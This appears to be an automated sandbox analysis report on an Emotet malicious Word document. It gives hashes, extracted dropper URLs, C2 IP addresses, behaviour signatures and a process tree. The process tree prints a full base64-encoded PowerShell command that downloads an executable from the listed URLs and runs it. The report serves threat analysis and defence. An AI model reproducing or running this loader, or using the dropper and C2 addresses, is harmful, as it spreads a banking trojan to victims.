Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    64s
  • max time network
    139s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    15/08/2020, 08:44

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e3_2486ff293e8a4ed2b40e6f8292e89850dacdf4d0cc14a085ae4b82cca605c08e_2020-08-15__084315._doc.doc
  • Size 231KB
  • Sample200815-ffdcjf5t5x
  • SHA256 2486ff293e8a4ed2b40e6f8292e89850dacdf4d0cc14a085ae4b82cca605c08e
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://slotenservice-24-7-actief.nl/crjns/LODRmgim/
  • exe.dropper

    https://zubk.net/wp-content/plugins/gallery-plugin/upload/files/vDXbZpIep/
  • exe.dropper

    http://yourcomputerneeds.net/wp-admin/JXjqdXqT/
  • exe.dropper

    http://lansec.com.br/rkz_wgz_2mw77xw/NxS/
  • exe.dropper

    http://larrysmith.com/old-files/djrowrumw34o8s80545998/

Extracted

Family

  • emotet

C2

  • 71.57.180.213:80

  • 185.86.148.68:443

  • 168.235.82.183:8080

  • 181.113.229.139:443

  • 181.134.9.162:80

  • 217.199.160.224:8080

  • 105.209.235.113:8080

  • 216.75.37.196:8080

  • 97.104.107.190:80

  • 203.153.216.182:7080

  • 107.161.30.122:8080

  • 41.106.96.12:80

  • 202.5.47.71:80

  • 201.235.10.215:80

  • 105.213.67.88:80

  • 115.79.195.246:80

  • 179.5.118.12:80

  • 212.112.113.235:80

  • 139.59.12.63:8080

  • 177.37.81.212:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_2486ff293e8a4ed2b40e6f8292e89850dacdf4d0cc14a085ae4b82cca605c08e_2020-08-15__084315._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1108
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABFAHQAeQBlAGEAegA5AD0AJwBZAHgAZQBwAGUAZQBwACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBDAFUAcgBJAHQAYABZAGAAUABSAG8AdABvAGMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABZAGEAZwBiAHgAZQB6ACAAPQAgACcAUQByAHAAbwAnADsAJABIAHgAbAAzAG0AMgA1AD0AJwBLAHIAMwA2AG4AegAyACcAOwAkAFcAcQA2AGsAOABoADYAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABZAGEAZwBiAHgAZQB6ACsAJwAuAGUAeABlACcAOwAkAFgAZQBpAGcAcwB6AG4APQAnAEIAcAB4ADYAdwB1AG8AJwA7ACQARgA4ADUAcAA2AGUAOQA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgBXAEUAYgBDAGwAaQBlAE4AdAA7ACQAWgBnAHMANABzAHYAdAA9ACcAaAB0AHQAcAA6AC8ALwBzAGwAbwB0AGUAbgBzAGUAcgB2AGkAYwBlAC0AMgA0AC0ANwAtAGEAYwB0AGkAZQBmAC4AbgBsAC8AYwByAGoAbgBzAC8ATABPAEQAUgBtAGcAaQBtAC8AKgBoAHQAdABwAHMAOgAvAC8AegB1AGIAawAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHAAbAB1AGcAaQBuAHMALwBnAGEAbABsAGUAcgB5AC0AcABsAHUAZwBpAG4ALwB1AHAAbABvAGEAZAAvAGYAaQBsAGUAcwAvAHYARABYAGIAWgBwAEkAZQBwAC8AKgBoAHQAdABwADoALwAvAHkAbwB1AHIAYwBvAG0AcAB1AHQAZQByAG4AZQBlAGQAcwAuAG4AZQB0AC8AdwBwAC0AYQBkAG0AaQBuAC8ASgBYAGoAcQBkAFgAcQBUAC8AKgBoAHQAdABwADoALwAvAGwAYQBuAHMAZQBjAC4AYwBvAG0ALgBiAHIALwByAGsAegBfAHcAZwB6AF8AMgBtAHcANwA3AHgAdwAvAE4AeABTAC8AKgBoAHQAdABwADoALwAvAGwAYQByAHIAeQBzAG0AaQB0AGgALgBjAG8AbQAvAG8AbABkAC0AZgBpAGwAZQBzAC8AZABqAHIAbwB3AHIAdQBtAHcAMwA0AG8AOABzADgAMAA1ADQANQA5ADkAOAAvACcALgAiAFMAcABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQATwBqAGsAdABpADgANAA9ACcAVgBxADMAcQA3AGsAYwAnADsAZgBvAHIAZQBhAGMAaAAoACQAWgBiAGkAOAA1AHYAagAgAGkAbgAgACQAWgBnAHMANABzAHYAdAApAHsAdAByAHkAewAkAEYAOAA1AHAANgBlADkALgAiAGQATwBgAHcAYABOAGwAbwBhAGAAZABGAGkAbABFACIAKAAkAFoAYgBpADgANQB2AGoALAAgACQAVwBxADYAawA4AGgANgApADsAJABKAGUAMQB0AG8AbgA4AD0AJwBHAGIAegA4AGQAXwA3ACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQAVwBxADYAawA4AGgANgApAC4AIgBMAGAARQBOAGAAZwB0AGgAIgAgAC0AZwBlACAAMwA2ADgAOQAxACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlAC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAKAAkAFcAcQA2AGsAOABoADYAKQA7ACQAVABrAGQAcABoAGMAYQA9ACcAWQBtAGMAOAA4AHAANAAnADsAYgByAGUAYQBrADsAJABGAHIAcgA1ADYAeABoAD0AJwBSAGsAaABoADcAZwA2ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkAbgBlAF8AMABhAGcAPQAnAFMAaABwAGEANgB5AG4AJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1512
    • C:\Users\Admin\AppData\Local\Temp\Qrpo.exe
      "C:\Users\Admin\AppData\Local\Temp\Qrpo.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1332
      • C:\Windows\SysWOW64\expand\mswmdm.exe
        "C:\Windows\SysWOW64\expand\mswmdm.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1652

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1108-4-0x0000000006E60000-0x0000000007060000-memory.dmp
        Download

        memory/1108-5-0x000000000AED0000-0x000000000AED4000-memory.dmp
        Download

        memory/1108-6-0x000000000BF50000-0x000000000BF54000-memory.dmp
        Download

        memory/1108-2-0x0000000008960000-0x0000000008964000-memory.dmp
        Download

        memory/1108-14-0x0000000002100000-0x0000000002101000-memory.dmp
        Download

        memory/1332-20-0x00000000003E0000-0x00000000003EC000-memory.dmp
        Download

        memory/1512-10-0x0000000002310000-0x0000000002311000-memory.dmp
        Download

        memory/1512-16-0x000000001C1B0000-0x000000001C1B1000-memory.dmp
        Download

        memory/1512-15-0x000000001C0E0000-0x000000001C0E1000-memory.dmp
        Download

        memory/1512-13-0x0000000002270000-0x0000000002271000-memory.dmp
        Download

        memory/1512-12-0x00000000023F0000-0x00000000023F1000-memory.dmp
        Download

        memory/1512-11-0x000000001AC00000-0x000000001AC01000-memory.dmp
        Download

        memory/1512-9-0x000007FEEA070000-0x000007FEEAA5C000-memory.dmp
        Download

        memory/1548-24-0x000007FEEA7E0000-0x000007FEEAA5A000-memory.dmp
        Download

        memory/1652-23-0x00000000003F0000-0x00000000003FC000-memory.dmp
        Download